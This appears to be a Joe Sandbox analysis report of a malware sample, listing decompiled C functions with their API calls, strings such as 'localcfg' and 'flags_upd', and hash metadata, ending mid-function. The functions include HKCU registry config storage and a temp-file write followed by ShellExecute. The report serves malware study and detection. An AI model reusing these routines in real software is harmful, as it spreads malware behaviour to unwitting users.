0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,751443E0,?,00000000,0040E538,?,751443E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
